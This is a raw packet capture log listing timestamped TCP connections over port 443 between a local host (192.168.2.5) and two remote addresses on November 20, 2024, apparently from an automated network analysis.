Nov 20, 2024 01:19:03.631745100 CET	50049	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:03.631759882 CET	443	50049	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:03.631769896 CET	50049	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:03.631774902 CET	443	50049	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:03.642549038 CET	443	50052	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:03.642940998 CET	50052	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:03.642957926 CET	443	50052	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:03.643181086 CET	50059	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:03.643204927 CET	443	50059	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:03.643534899 CET	50052	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:03.643541098 CET	443	50052	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:03.643626928 CET	50059	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:03.643760920 CET	50059	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:03.643769979 CET	443	50059	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:03.644536018 CET	443	50051	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:03.644675016 CET	443	50051	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:03.644777060 CET	443	50051	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:03.644865036 CET	50051	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:03.644865036 CET	50051	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:03.644890070 CET	50051	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:03.644898891 CET	443	50051	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:03.646997929 CET	50060	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:03.647016048 CET	443	50060	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:03.647217989 CET	50060	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:03.647334099 CET	50060	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:03.647341967 CET	443	50060	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:03.674371958 CET	443	50050	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:03.674755096 CET	443	50050	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:03.674875021 CET	50050	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:03.675210953 CET	50050	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:03.675230980 CET	443	50050	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:03.675259113 CET	50050	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:03.675266981 CET	443	50050	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:03.677839994 CET	50061	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:03.677870035 CET	443	50061	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:03.677964926 CET	50061	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:03.678113937 CET	50061	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:03.678124905 CET	443	50061	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:03.715363026 CET	443	50053	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:03.715801001 CET	443	50053	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:03.715877056 CET	50053	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:03.715929985 CET	50053	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:03.715945959 CET	443	50053	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:03.715960026 CET	50053	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:03.715965986 CET	443	50053	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:03.718622923 CET	50062	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:03.718638897 CET	443	50062	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:03.718780041 CET	50062	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:03.718903065 CET	50062	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:03.718911886 CET	443	50062	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:03.746324062 CET	443	50052	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:03.746607065 CET	443	50052	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:03.746660948 CET	50052	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:03.746685028 CET	50052	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:03.746710062 CET	443	50052	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:03.746716022 CET	50052	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:03.746721983 CET	443	50052	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:03.749083042 CET	50063	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:03.749114037 CET	443	50063	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:03.749260902 CET	50063	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:03.749380112 CET	50063	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:03.749397993 CET	443	50063	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:04.047555923 CET	443	50055	40.113.103.199	192.168.2.5
Nov 20, 2024 01:19:04.047650099 CET	50055	443	192.168.2.5	40.113.103.199
Nov 20, 2024 01:19:04.049278975 CET	50055	443	192.168.2.5	40.113.103.199
Nov 20, 2024 01:19:04.049297094 CET	443	50055	40.113.103.199	192.168.2.5
Nov 20, 2024 01:19:04.050086975 CET	443	50055	40.113.103.199	192.168.2.5
Nov 20, 2024 01:19:04.052133083 CET	50055	443	192.168.2.5	40.113.103.199
Nov 20, 2024 01:19:04.052412033 CET	50055	443	192.168.2.5	40.113.103.199
Nov 20, 2024 01:19:04.052426100 CET	443	50055	40.113.103.199	192.168.2.5
Nov 20, 2024 01:19:04.052575111 CET	50055	443	192.168.2.5	40.113.103.199
Nov 20, 2024 01:19:04.095346928 CET	443	50055	40.113.103.199	192.168.2.5
Nov 20, 2024 01:19:04.231369019 CET	443	50055	40.113.103.199	192.168.2.5
Nov 20, 2024 01:19:04.231594086 CET	443	50055	40.113.103.199	192.168.2.5
Nov 20, 2024 01:19:04.231659889 CET	50055	443	192.168.2.5	40.113.103.199
Nov 20, 2024 01:19:04.231806040 CET	50055	443	192.168.2.5	40.113.103.199
Nov 20, 2024 01:19:04.231839895 CET	443	50055	40.113.103.199	192.168.2.5
Nov 20, 2024 01:19:04.281784058 CET	443	50059	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:04.282196045 CET	50059	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:04.282210112 CET	443	50059	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:04.282715082 CET	50059	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:04.282721043 CET	443	50059	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:04.300960064 CET	443	50060	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:04.301495075 CET	50060	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:04.301511049 CET	443	50060	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:04.302143097 CET	50060	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:04.302149057 CET	443	50060	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:04.311913967 CET	443	50061	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:04.312323093 CET	50061	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:04.312340021 CET	443	50061	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:04.312791109 CET	50061	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:04.312798977 CET	443	50061	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:04.380537033 CET	443	50059	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:04.380866051 CET	443	50059	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:04.380925894 CET	50059	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:04.381099939 CET	443	50063	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:04.381268978 CET	50059	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:04.381279945 CET	443	50059	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:04.381298065 CET	50059	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:04.381303072 CET	443	50059	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:04.381745100 CET	50063	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:04.381756067 CET	443	50063	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:04.382395983 CET	50063	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:04.382401943 CET	443	50063	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:04.384418964 CET	50064	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:04.384437084 CET	443	50064	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:04.384535074 CET	50064	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:04.384646893 CET	50064	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:04.384659052 CET	443	50064	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:04.386627913 CET	443	50062	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:04.387010098 CET	50062	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:04.387026072 CET	443	50062	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:04.387419939 CET	50062	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:04.387424946 CET	443	50062	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:04.401930094 CET	443	50060	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:04.402076006 CET	443	50060	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:04.402158022 CET	50060	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:04.402204037 CET	50060	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:04.402219057 CET	443	50060	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:04.402235031 CET	50060	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:04.402240992 CET	443	50060	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:04.404350042 CET	50065	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:04.404428959 CET	443	50065	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:04.404668093 CET	50065	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:04.404891968 CET	50065	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:04.404927015 CET	443	50065	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:04.411065102 CET	443	50061	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:04.411204100 CET	443	50061	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:04.411302090 CET	50061	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:04.411341906 CET	50061	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:04.411341906 CET	50061	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:04.411353111 CET	443	50061	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:04.411365032 CET	443	50061	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:04.413459063 CET	50066	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:04.413474083 CET	443	50066	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:04.413554907 CET	50066	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:04.413662910 CET	50066	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:04.413675070 CET	443	50066	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:04.479490995 CET	443	50063	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:04.479742050 CET	443	50063	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:04.479813099 CET	50063	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:04.479850054 CET	50063	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:04.479866982 CET	443	50063	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:04.479873896 CET	50063	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:04.479881048 CET	443	50063	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:04.482384920 CET	50067	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:04.482429028 CET	443	50067	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:04.482496023 CET	50067	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:04.482661009 CET	50067	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:04.482690096 CET	443	50067	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:04.493241072 CET	443	50062	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:04.493880987 CET	443	50062	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:04.493948936 CET	50062	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:04.493978024 CET	50062	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:04.493988991 CET	443	50062	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:04.493999958 CET	50062	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:04.494004965 CET	443	50062	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:04.496371031 CET	50068	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:04.496398926 CET	443	50068	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:04.496465921 CET	50068	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:04.496592045 CET	50068	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:04.496603966 CET	443	50068	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:05.052639008 CET	443	50066	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:05.053073883 CET	50066	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:05.053091049 CET	443	50066	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:05.053657055 CET	50066	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:05.053662062 CET	443	50066	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:05.063416004 CET	443	50064	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:05.063801050 CET	50064	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:05.063808918 CET	443	50064	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:05.064187050 CET	50064	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:05.064191103 CET	443	50064	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:05.085155964 CET	443	50065	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:05.085575104 CET	50065	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:05.085644960 CET	443	50065	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:05.086111069 CET	50065	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:05.086137056 CET	443	50065	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:05.148375988 CET	443	50067	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:05.148848057 CET	50067	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:05.148880005 CET	443	50067	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:05.149488926 CET	50067	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:05.149502039 CET	443	50067	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:05.149625063 CET	443	50068	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:05.150144100 CET	50068	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:05.150175095 CET	443	50068	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:05.150952101 CET	50068	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:05.150959969 CET	443	50068	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:05.152653933 CET	443	50066	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:05.153034925 CET	443	50066	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:05.153131962 CET	443	50066	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:05.153160095 CET	50066	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:05.153196096 CET	50066	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:05.153265953 CET	50066	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:05.153280973 CET	443	50066	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:05.153292894 CET	50066	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:05.153297901 CET	443	50066	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:05.156090021 CET	50069	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:05.156145096 CET	443	50069	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:05.156230927 CET	50069	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:05.156390905 CET	50069	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:05.156407118 CET	443	50069	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:05.172609091 CET	443	50064	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:05.172681093 CET	443	50064	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:05.172763109 CET	50064	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:05.172774076 CET	443	50064	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:05.172831059 CET	443	50064	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:05.172888994 CET	50064	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:05.173167944 CET	50064	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:05.173177004 CET	443	50064	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:05.173186064 CET	50064	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:05.173191071 CET	443	50064	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:05.176599979 CET	50070	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:05.176636934 CET	443	50070	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:05.176748037 CET	50070	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:05.176908970 CET	50070	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:05.176924944 CET	443	50070	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:05.189722061 CET	443	50065	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:05.190038919 CET	443	50065	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:05.190114975 CET	50065	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:05.190181971 CET	50065	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:05.190181971 CET	50065	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:05.190217972 CET	443	50065	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:05.190243006 CET	443	50065	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:05.194320917 CET	50071	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:05.194341898 CET	443	50071	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:05.194474936 CET	50071	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:05.194605112 CET	50071	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:05.194621086 CET	443	50071	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:05.251229048 CET	443	50067	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:05.251458883 CET	443	50067	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:05.251524925 CET	50067	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:05.251635075 CET	50067	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:05.251663923 CET	443	50067	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:05.251672029 CET	50067	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:05.251688004 CET	443	50067	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:05.254540920 CET	50072	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:05.254580975 CET	443	50072	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:05.255342960 CET	50072	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:05.255595922 CET	50072	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:05.255610943 CET	443	50072	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:05.269387007 CET	443	50068	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:05.269742012 CET	443	50068	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:05.269813061 CET	50068	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:05.269843102 CET	443	50068	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:05.269866943 CET	443	50068	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:05.269928932 CET	50068	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:05.269979954 CET	50068	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:05.270001888 CET	443	50068	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:05.270015955 CET	50068	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:05.270024061 CET	443	50068	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:05.272202015 CET	50073	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:05.272241116 CET	443	50073	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:05.272315025 CET	50073	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:05.272448063 CET	50073	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:05.272460938 CET	443	50073	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:05.821135044 CET	443	50070	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:05.821669102 CET	50070	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:05.821734905 CET	443	50070	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:05.822192907 CET	50070	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:05.822201014 CET	443	50070	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:05.822406054 CET	443	50069	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:05.822873116 CET	50069	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:05.822904110 CET	443	50069	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:05.823374033 CET	50069	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:05.823379993 CET	443	50069	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:05.881366968 CET	443	50071	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:05.882011890 CET	50071	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:05.882040024 CET	443	50071	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:05.882488966 CET	50071	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:05.882496119 CET	443	50071	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:05.892900944 CET	443	50072	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:05.893394947 CET	50072	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:05.893407106 CET	443	50072	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:05.893799067 CET	50072	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:05.893805027 CET	443	50072	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:05.915605068 CET	443	50073	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:05.915940046 CET	50073	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:05.915961027 CET	443	50073	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:05.916412115 CET	50073	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:05.916416883 CET	443	50073	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:05.922837973 CET	443	50070	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:05.923484087 CET	443	50070	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:05.923548937 CET	50070	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:05.923608065 CET	50070	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:05.923624992 CET	443	50070	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:05.923635006 CET	50070	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:05.923640966 CET	443	50070	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:05.924972057 CET	443	50069	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:05.925362110 CET	443	50069	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:05.925425053 CET	50069	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:05.925452948 CET	50069	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:05.925467014 CET	443	50069	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:05.925491095 CET	50069	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:05.925497055 CET	443	50069	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:05.926637888 CET	50075	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:05.926675081 CET	443	50075	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:05.926773071 CET	50075	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:05.926911116 CET	50075	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:05.926925898 CET	443	50075	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:05.927854061 CET	50076	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:05.927886963 CET	443	50076	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:05.927942991 CET	50076	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:05.928060055 CET	50076	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:05.928073883 CET	443	50076	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:05.979861975 CET	443	50071	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:05.980789900 CET	443	50071	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:05.980885983 CET	50071	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:05.980942011 CET	50071	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:05.980952024 CET	443	50071	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:05.980964899 CET	50071	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:05.980969906 CET	443	50071	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:05.983827114 CET	50077	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:05.983877897 CET	443	50077	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:05.983952999 CET	50077	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:05.984127998 CET	50077	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:05.984134912 CET	443	50077	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:05.993896961 CET	443	50072	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:05.993957043 CET	443	50072	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:05.994014025 CET	443	50072	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:05.994105101 CET	50072	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:05.994126081 CET	50072	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:05.994126081 CET	50072	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:05.994138956 CET	443	50072	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:05.994148016 CET	443	50072	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:05.996589899 CET	50078	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:05.996614933 CET	443	50078	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:05.996685982 CET	50078	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:05.996808052 CET	50078	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:05.996819019 CET	443	50078	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:06.018558025 CET	443	50073	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:06.018747091 CET	443	50073	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:06.018799067 CET	50073	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:06.022531986 CET	50073	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:06.022547960 CET	443	50073	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:06.022558928 CET	50073	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:06.022563934 CET	443	50073	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:06.032897949 CET	50079	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:06.032942057 CET	443	50079	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:06.033030987 CET	50079	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:06.033171892 CET	50079	443	192.168.2.5	13.107.246.45
